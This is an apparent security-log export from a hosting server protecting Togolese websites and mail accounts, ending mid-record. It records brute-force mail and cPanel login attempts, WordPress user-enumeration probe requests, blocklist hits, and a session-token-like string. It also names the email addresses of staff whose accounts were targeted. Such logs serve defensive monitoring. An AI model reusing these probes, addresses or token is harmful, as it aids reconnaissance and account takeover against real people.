country_id: 2363686
domain: togodailynews.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.15||T:APACHE||MV:/wp-json/wp/v2/users?context=view&search=gmail.com&_locale=user||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 144.124.242.23
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:19-08.144.124.242.23||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.73.246.147
country_id: 6252001
description:
2026-06-08 19:09:02 dovecot_plain authenticator failed for H=ip174-73-246-147.ph.ph.cox.net (VM-8571aed3-afe3-4aaf-8a42-67f0a9334c75) [174.73.246.147]:51352: 535 Incorrect authentication data (set_id=gnouyaro.sogoyou@datalab.gouv.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.30.116.166
country_id: 6252001
description:
2026-06-08 19:08:54 dovecot_plain authenticator failed for H=(VM-8571aed3-afe3-4aaf-8a42-67f0a9334c75) [98.30.116.166]:44119: 535 Incorrect authentication data (set_id=gnouyaro.sogoyou@datalab.gouv.tg)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.171.66.204
country_id: 2363686
domain: launetogo.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.15||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_locale=user||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 2.78.220.4
country_id: 1522867
description:
2026-06-08 19:10:24 H=([2.78.220.4]) [2.78.220.4]:13363 F=<John@4452.com> rejected RCPT <contact@emt.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.147.41
country_id: 1819730
description:
Jun  8 19:09:54 ns5 auth[1134292]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.147.41 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 204.101.161.15
country_id: 6251999
description:
204.101.161.15 - - [08/Jun/2026:19:11:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6801048&pdata=https%253A%252F%252Fdjama.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780945885 HTTP/2.0" 302 0 djama.tg "https://djama.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:204.101.161.15


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 2.78.220.4
country_id: 1522867
description:
2026-06-08 19:13:06 H=([2.78.220.4]) [2.78.220.4]:55987 F=<John@4452.com> rejected RCPT <contact@emt.tg>: Sender verify failed


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 144.124.242.23
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:19-13.144.124.242.23||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.166
country_id: 1880251
description:
47.128.96.166 - - [08/Jun/2026:19:15:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9924971&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-asky-recrute-pour-ces-postes%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780946123 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-asky-recrute-pour-ces-postes/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.166


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Redeem Your Exclusive Tier Bonus sepoladi.blogspot.ch xI||Email:celedonia1@gmail.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:19-17.146.19.125.71||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.172.38.146
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/fnfi-la-finance-inclusive-change-le-quotidien-des-togolais/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.172.38.146
country_id: 3865483
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/fnfi-la-finance-inclusive-change-le-quotidien-des-togolais/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.210.132.14
country_id: 1269750
description:
[2026-06-08 19:21:05 +0000] info [cpaneld] 103.210.132.14 - mesyscom "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 51.83.5.75
country_id: 3017382
description:
[2026-06-08 19:23:27 +0000] info [cpaneld] 51.83.5.75 - cafeitadm "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.4
country_id: 3017382
description:
[2026-06-08 19:24:28 +0000] info [cpaneld] 5.231.64.4 NEW hgfdcvbnk:Tl3u06rFsaddBAXG address=5.231.64.4,app=cpaneld,creator=hgfdcvbnk,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.12
country_id: 1880251
description:
47.128.96.12 - - [08/Jun/2026:19:25:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9672854&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fjo-paris-2024-team-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780946745 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/jo-paris-2024-team-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.12


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.34.79.241
country_id: 2921044
description:
2026-06-08 19:25:29 dovecot_plain authenticator failed for H=p5b224ff1.dip0.t-ipconnect.de (VM-8571aed3-afe3-4aaf-8a42-67f0a9334c75) [91.34.79.241]:61440: 535 Incorrect authentication data (set_id=gnouyaro.sogoyou@datalab.gouv.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.79.237.17
country_id: 798549
description:
2026-06-08 19:25:21 dovecot_plain authenticator failed for H=(VM-8571aed3-afe3-4aaf-8a42-67f0a9334c75) [82.79.237.17]:39782: 535 Incorrect authentication data (set_id=gnouyaro.sogoyou@datalab.gouv.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 182.46.175.244
country_id: 1814991
description:
2026-06-08 19:26:10 H=([43.160.196.54]) [182.46.175.244]:8414 F=<John@4452.com> rejected RCPT <contact@dany2.mairie.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.49.248.169
country_id: 102358
description:
[2026-06-08 19:26:46 +0000] info [cpaneld] 188.49.248.169 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 174.118.45.202
country_id: 6251999
domain: tdn.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.15||T:APACHE||MV:/wp-json/wp/v2/users/2?context=view&_fields=id%2Cname&_locale=user||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.211.16
country_id: 6252001
description:
2026-06-08 11:22:45 dovecot_login authenticator failed for H=(2pYsBi) [158.94.211.16]:63584: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.232
country_id: 3469034
description:
Jun  8 06:45:41 ns5 auth[228678]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.232 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.237.120.152
country_id: 99237
description:
2026-06-08 00:37:27 dovecot_login authenticator failed for H=([91.92.243.93]) [212.237.120.152]:28839: 535 Incorrect authentication data (set_id=office@togointerim.net)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.28.155.240
country_id: 2750405
description:
[2026-06-08 11:04:37 +0000] info [cpaneld] 104.28.155.240 - myxlsnta "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.133.64
country_id: 2635167
description:
[2026-06-08 05:50:13 +0000] info [cpaneld] 5.230.133.64 - afgqjhmw "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.79.237.17
country_id: 798549
description:
2026-06-08 19:25:27 dovecot_login authenticator failed for H=(VM-8571aed3-afe3-4aaf-8a42-67f0a9334c75) [82.79.237.17]:39782: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.111.225.167
country_id: 1210997
description:
2026-06-08 15:56:17 dovecot_login authenticator failed for H=(6LCBR6) [103.111.225.167]:52472: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.158.123
country_id: 6252001
description:
2026-06-08 18:07:07 dovecot_plain authenticator failed for H=(inger.tg) [104.28.158.123]:23055: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.70.142.239
country_id: 3686110
description:
2026-06-08 00:35:43 dovecot_login authenticator failed for H=([91.92.243.93]) [190.70.142.239]:52454: 535 Incorrect authentication data (set_id=contacto@togointerim.net)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.133.133
country_id: 2635167
description:
[2026-06-08 06:05:40 +0000] info [cpaneld] 5.230.133.133 - neliam "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.168.56.1
country_id: 3469034
description:
Jun  8 03:28:22 ns5 auth[228678]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.168.56.1 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 107.174.169.229
country_id: 6252001
description:
[2026-06-08 05:52:33 +0000] info [cpaneld] 107.174.169.229 - qnlprotv "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.189.101.75
country_id: 3895114
description:
2026-06-08 00:34:39 dovecot_login authenticator failed for H=([91.92.243.93]) [186.189.101.75]:5360: 535 Incorrect authentication data (set_id=admin@togointerim.net)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.71.187.124
country_id: 6252001
description:
54.71.187.124 - - [08/Jun/2026:00:05:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13200073&pdata=http%253A%252F%252Fkpmg.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780877123 HTTP/1.1" 302 0 kpmg.tg "http://kpmg.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.71.187.124


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.194.34
country_id: 2363686
description:
[2026-06-08 10:50:59 +0000] info [whostmgrd] 196.168.194.34 - root "GET /cpsess9543198679/json-api/loadavg HTTP/1.1" DEFERRED LOGIN whostmgrd: cookie ip check: IP address has changed: IP Address [80.248.64.198] != Current IP Address [196.168.194.34]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.176.253.226
country_id: 2363686
description:
[2026-06-08 16:04:09 +0000] info [webmaild] 102.176.253.226 - secretariat.esi@ucao-uut.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 209.217.253.20
country_id: 6252001
description:
[2026-06-08 17:30:15 +0000] info [whostmgrd] 209.217.253.20 - root "GET /cpsess7062782272/json-api/listaccts HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.153.23
country_id: 2635167
description:
[2026-06-08 05:48:26 +0000] info [cpaneld] 5.230.153.23 - davetkoo "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.189.152.232
country_id: 6252001
description:
[2026-06-08 05:44:40 +0000] info [cpaneld] 216.189.152.232 - tnukitks "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.58.66.28
country_id: 1269750
description:
Jun  8 06:45:26 ns5 auth[228678]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.58.66.28 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.107.191.167
country_id: 3686110
description:
2026-06-08 00:38:20 dovecot_login authenticator failed for H=([91.92.243.93]) [191.107.191.167]:34368: 535 Incorrect authentication data (set_id=info@togointerim.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.158.72
country_id: 690791
description:
Jun  8 01:48:27 ns5 auth[228678]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.158.72 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.122.97.95
country_id: 3996063
description:
Jun  8 07:52:59 ns5 auth[516690]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.122.97.95 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.168
country_id: 3469034
description:
Jun  8 12:11:44 ns5 auth[671076]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.168 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.220.101.110
country_id: 2921044
description:
2026-06-08 13:50:02 dovecot_login authenticator failed for H=tor-exit-110.digitalcourage.de (DESKTOP-53E0LT9) [185.220.101.110]:1735: 535 Incorrect authentication data (set_id=welborn.aflou@univ.ucao-uut.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 155.133.52.185
country_id: 798544
description:
Jun  8 17:59:50 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 155.133.52.185 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 185.213.83.232
country_id: 1643084
description:
[2026-06-08 16:14:14 +0000] info [cpaneld] 185.213.83.232 - phoicdxb "GET / HTTP/1.1" DEFERRED LOGIN cpaneld: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.175.229.130
country_id: 2921044
description:
[2026-06-08 06:09:58 +0000] info [cpaneld] 5.175.229.130 - bighostingsnbd "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 158.181.42.13
country_id: 587116
description:
2026-06-08 19:34:29 H=([158.181.42.13]) [158.181.42.13]:4186 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.150.154.235
country_id: 1835841
description:
Jun  8 05:28:45 ns5 auth[228678]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.150.154.235 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 23.129.64.203
country_id: 6252001
description:
Jun  8 13:51:05 ns5 auth[851035]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 23.129.64.203 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.42.116.62
country_id: 2750405
description:
Jun  8 13:53:43 ns5 auth[851035]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.42.116.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.4.193
country_id: 690791
description:
Jun  8 15:36:46 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.4.193 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.170.108.172
country_id: 2363686
description:
[2026-06-08 12:01:42 +0000] info [webmaild] 196.170.108.172 - contact@perfect-labo.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.129.64.203
country_id: 6252001
description:
2026-06-08 13:51:07 dovecot_login authenticator failed for H=(DESKTOP-53E0LT9) [23.129.64.203]:25309: 535 Incorrect authentication data (set_id=welborn.aflou@univ.ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-08 20:43:09 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:56624: 535 Incorrect authentication data (set_id=orange)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 107.175.5.43
country_id: 6252001
description:
[2026-06-08 06:01:56 +0000] info [cpaneld] 107.175.5.43 - veljlkpg "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.24.61.113
country_id: 3439705
description:
2026-06-08 06:45:40 dovecot_login authenticator failed for H=r179-24-61-113.dialup.adsl.anteldata.net.uy (P756S1ACH72QLPV) [179.24.61.113]:60979: 535 Incorrect authentication data (set_id=netflix@emt.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.160.186.93
country_id: 1562822
description:
2026-06-08 20:43:41 dovecot_login authenticator failed for H=(58-115-60-4.twt1.com.tw) [113.160.186.93]:56719: 535 Incorrect authentication data (set_id=olivier.gadawouye@ekeasarl.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun  8 19:34:00 ns5 auth[2690]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.133.154
country_id: 2635167
description:
[2026-06-08 05:50:49 +0000] info [cpaneld] 5.230.133.154 - arsjawjaz "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.6.46.55
country_id: 3932488
description:
2026-06-08 16:34:26 dovecot_login authenticator failed for H=(58F1THHLM15) [179.6.46.55]:52599: 535 Incorrect authentication data (set_id=ptitrikou@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 34.32.31.142
country_id: 2921044
description:
Jun  8 17:12:13 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 34.32.31.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.178.147
country_id: 3175395
description:
Jun  8 03:08:32 ns5 auth[228678]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.178.147 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.231.64.100
country_id: 3017382
description:
[2026-06-08 05:46:25 +0000] info [cpaneld] 5.231.64.100 - ygeaivhj "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: User ygeaivhj has their account suspended. Login blocked.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.133.74
country_id: 2635167
description:
[2026-06-08 06:15:05 +0000] info [cpaneld] 5.230.133.74 - togoinrdceh "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.8.149.85
country_id: 3175395
description:
Jun  8 01:06:42 ns5 auth[4149427]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.8.149.85 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.81.36.7
country_id: 1269750
description:
2026-06-08 06:08:18 dovecot_login authenticator failed for H=(Z69Q27X) [103.81.36.7]:54442: 535 Incorrect authentication data (set_id=agounkej@ucao-uut.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.133.240
country_id: 2635167
description:
[2026-06-08 06:15:41 +0000] info [cpaneld] 5.230.133.240 - aogodmm "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.72.24.250
country_id: 51537
description:
Jun  8 12:59:13 ns5 auth[671076]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.72.24.250 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.225.97
country_id: 337996
description:
2026-06-08 14:40:28 dovecot_login authenticator failed for H=(T31NGXPI6836) [196.189.225.97]:19217: 535 Incorrect authentication data (set_id=emploi@emt.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 107.175.5.84
country_id: 6252001
description:
[2026-06-08 06:15:49 +0000] info [cpaneld] 107.175.5.84 - xdkbrmjc "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.153.114
country_id: 2635167
description:
[2026-06-08 05:47:41 +0000] info [cpaneld] 5.230.153.114 - myxlsnta "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.144
country_id: 3175395
description:
Jun  8 01:22:03 ns5 auth[228678]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.143.25.120
country_id: 933860
description:
Jun  8 10:43:49 ns5 auth[671076]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.143.25.120 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.6.46.55
country_id: 3932488
description:
Jun  8 16:34:24 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.6.46.55 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.48.209.214
country_id: 1168579
description:
2026-06-08 10:02:31 dovecot_login authenticator failed for H=(5HJ30XO6291) [39.48.209.214]:54361: 535 Incorrect authentication data (set_id=sonia.lassey@mesyscom.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.23.104.226
country_id: 1562822
description:
2026-06-08 14:58:16 dovecot_plain authenticator failed for H=(96H3V7R8Q2) [113.23.104.226]:28463: 535 Incorrect authentication data (set_id=mointie.konlambigue@emt.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun  8 20:43:07 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.231.255.233
country_id: 3017382
description:
[2026-06-08 05:47:17 +0000] info [cpaneld] 5.231.255.233 - wcdxbboq "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 188.113.228.200
country_id: 1512440
description:
2026-06-08 05:28:41 H=([188.113.228.200]) [188.113.228.200]:17954 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.66.217.97
country_id: 1861060
description:
2026-06-08 05:14:21 dovecot_login authenticator failed for H=(PRbVXGiK) [45.66.217.97]:57838: 535 Incorrect authentication data (set_id=l.amegee)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.208.106.2
country_id: 3175395
description:
Jun  8 11:25:14 ns5 auth[671076]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.208.106.2 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-06-08 20:44:07 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt (nsg-corporate-153.124.186.122.airtel.in) [87.103.126.54]:41583: 535 Incorrect authentication data (set_id=olivier.gadawouye)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.225.176.87
country_id: 3996063
description:
2026-06-08 00:34:24 dovecot_login authenticator failed for H=([91.92.243.93]) [177.225.176.87]:55250: 535 Incorrect authentication data (set_id=info@togointerim.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.124.182.116
country_id: 3175395
description:
Jun  8 15:06:12 ns5 auth[900702]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.124.182.116 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.175.7.57
country_id: 2510769
description:
2026-06-08 16:07:10 dovecot_login authenticator failed for H=57.7.175.34.bc.googleusercontent.com (10.204.0.2) [34.175.7.57]:60563: 535 Incorrect authentication data (set_id=moise.attissovi@mesyscom.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.103.253.106
country_id: 3865483
description:
2026-06-08 00:37:48 dovecot_login authenticator failed for H=([91.92.243.93]) [190.103.253.106]:34673: 535 Incorrect authentication data (set_id=ventas@togointerim.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.145.57.99
country_id: 2017370
description:
2026-06-08 00:36:25 dovecot_login authenticator failed for H=pppoe-185-145-57-099.prtcom.ru ([91.92.243.93]) [185.145.57.99]:47430: 535 Incorrect authentication data (set_id=it@togointerim.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.86.166.154
country_id: 3469034
description:
Jun  8 02:02:47 ns5 auth[228678]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.86.166.154 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.53.42.101
country_id: 3469034
description:
Jun  8 06:28:31 ns5 auth[228678]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.53.42.101 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.58.50.155
country_id: 6252001
description:
[2026-06-08 05:55:39 +0000] info [cpaneld] 45.58.50.155 - nwvfmxat "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.133.110
country_id: 2635167
description:
[2026-06-08 05:49:09 +0000] info [cpaneld] 5.230.133.110 - bjwcjsqs "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: User bjwcjsqs has their account suspended. Login blocked.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.85.111.248
country_id: 3469034
description:
Jun  8 10:54:31 ns5 auth[671076]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.85.111.248 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 198.57.192.130
country_id: 6252001
description:
